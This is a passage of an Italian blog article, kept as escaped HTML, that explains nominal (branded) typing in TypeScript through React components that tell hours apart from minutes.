class=&quot;mtk1&quot;&gt;({ &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }: { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; hours&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;EmployeeDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({ &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }: { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;h2&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;Name: &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;h2&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;entries&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;shiftHours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(([&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;day&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;day&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;/* Stiamo stampando i minuti come fossero ore… whoops! */&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;day&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      ))&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Su questo componente React per visualizzare i dati di un dipendente non avremo malfunzionamenti o eccezioni in runtime, e infatti TypeScript lo considera come corretto.&lt;/p&gt;&lt;p&gt;Il problema di questa implementazione è che stiamo &lt;a href=&quot;https://en.wikipedia.org/wiki/Subtyping#Subsumption&quot;&gt;sussumendo&lt;/a&gt; &lt;em&gt;(una brutta parola che vale la pena imparare!)&lt;/em&gt; tutto a &lt;code&gt;number&lt;/code&gt;. I campi di tipo number sono del tutto generici, e di conseguenza il compilatore non fa enforcing delle unità di misura. Possiamo però grazie a TypeScript evitare questo tipo di errori logici utilizzando un pattern chiamato &lt;strong&gt;Nominal Typing&lt;/strong&gt;. Questa tecnica prevede l&amp;#x27;aggiunta di annotazioni di tipo più stringenti a tipi base, come numeri o stringhe, permettendo di fare enforcing anche sul loro contenuto.&lt;/p&gt;&lt;p&gt;Una prima soluzione potrebbe essere utilizzare un type alias. Ci accorgiamo, però, che non funziona come ci aspetteremmo:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescriptreact&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Minutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({ &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }: { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; hours&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;App&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Minutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Nessun errore! 😕&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=13&amp;amp;pc=1#code/C4TwDgpgBAEg9gVwE4GcoF4oDsEFsBGESA3ALABQFokUAsgJY7ARqY4FFmXkBmCWAY2D04WWIiQAReijAAbAIYgAFAG8oACwloAvgC4o6rchQH4JqDoCUhilChIIwZGIA8APlXHUOzdtcA9O5cOhQUfILColAAgmBgyjaqdlACoijAUMwZBgxMLBhQAGwADFz2js5IbuZSMvJKfiboqtnAvkEhFEA&quot;&gt;Prova su Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In questo modo uno sviluppatore che chiamerà il componente &lt;code&gt;HourDisplay&lt;/code&gt; non noterà nemmeno nell&amp;#x27;autocompletamento che il tipo atteso è in ore (&lt;code&gt;Hours&lt;/code&gt;), visto che vengono tolti gli alias per maggiore chiarezza.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/60d8cd6ed9c2dac399b558ba8eb03162/5a791/isense.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;187\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20187\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2094v93h401V0H0v94m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/60d8cd6ed9c2dac399b558ba8eb03162/c85cb/isense.webp 300w,/static/60d8cd6ed9c2dac399b558ba8eb03162/e88ff/isense.webp 600w,/static/60d8cd6ed9c2dac399b558ba8eb03162/92f8c/isense.webp 1200w,/static/60d8cd6ed9c2dac399b558ba8eb03162/1b8e7/isense.webp 1248w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/60d8cd6ed9c2dac399b558ba8eb03162/5a46d/isense.png 300w,/static/60d8cd6ed9c2dac399b558ba8eb03162/0a47e/isense.png 600w,/static/60d8cd6ed9c2dac399b558ba8eb03162/c1b63/isense.png 1200w,/static/60d8cd6ed9c2dac399b558ba8eb03162/5a791/isense.png 1248w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Gli alias vengono rimossi dall&amp;#x27;IntelliSense&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/60d8cd6ed9c2dac399b558ba8eb03162/c1b63/isense.png&quot; title=&quot;Gli alias vengono rimossi dall&amp;#x27;IntelliSense&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Gli alias vengono rimossi dall&amp;#x27;IntelliSense&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Il codice, soprattutto, compila senza problemi, dal momento che TypeScript utilizza &lt;strong&gt;Structural Typing&lt;/strong&gt; e non &lt;em&gt;Nominal Typing&lt;/em&gt;. Questo vuol dire che per controllare se due tipi combaciano si basa non sul loro nome, ma sul loro contenuto. Questo comportamento può sembrare strano se uno sviluppatore è abituato a linguaggi come Java o C#, deriva infatti dai linguaggi funzionali come Haskell o OCaml.&lt;/p&gt;&lt;p&gt;Per risolvere questo problema e controllare i tipi in maniera nominale ci sono molti approcci possibili, sia con controlli a runtime, che solamente a compile-time. Tutti questi pattern comunque si basano sull&amp;#x27;aggiungere un campo &lt;strong&gt;tag&lt;/strong&gt; in un oggetto che faccia da &lt;strong&gt;discriminante&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;La soluzione più standard, utilizzata dagli stessi sviluppatori di TypeScript, è la seguente, basata su un tag di tipo &lt;code&gt;void&lt;/code&gt; presente solo a compile-time:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescriptreact&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_hoursBrand&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Minutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_minutesBrand&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({ &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }: { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; hours&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;App&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Type assertion&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; } &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Minutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Questa riga darà un errore, come ci aspettiamo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=21&amp;amp;pc=2#code/JYOwLgpgTgZghgYwgAgBIHsCuUDOyDeAsAFDLID6AFlrgEJRwgAmAXMgG7rBMA0JZ7OABtMENiEwBbAEbQA3CQC+JEqEixEKALKhMkPEVIVJu-fUasOXJgqOCRY5BJnylK4jEwgEYYOhBoNAAiwDgADkJwAJ4AFPjI1Nh4imzxibhsGEnIigCUBPzIUBBg2AEAPAB8+Ok4AHT2oooJNDjlAPSVbsQknt6+-sgAgmFhMfmGZO3tyAAqUWEocDg40AMghQj+OGDI+rsAvAQcwqJsAGwADDnIy8g6Evq2hdPIAIqiO3BFwADm30w4FAAAfILzIaBQdDFHjILaSFAIYC3cIlXxwSToQrFUpQCpZKAhcKRKItJIHfD7ZqdWyKIA&quot;&gt;Prova su Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Un pattern come questo diventa molto utile non solo quando si gestiscono unità di tempo, ma anche in molti altri casi. Abbiamo ad esempio usato questa tecnica su alcuni progetti per gestire identificatori multipli, aggiungendo tipi nominali alle stringhe. Ciò ci ha consentito di evitare moltissimi errori data la complessità del dominio.&lt;/p&gt;&lt;p&gt;Per maggiori informazioni sulle tecniche di 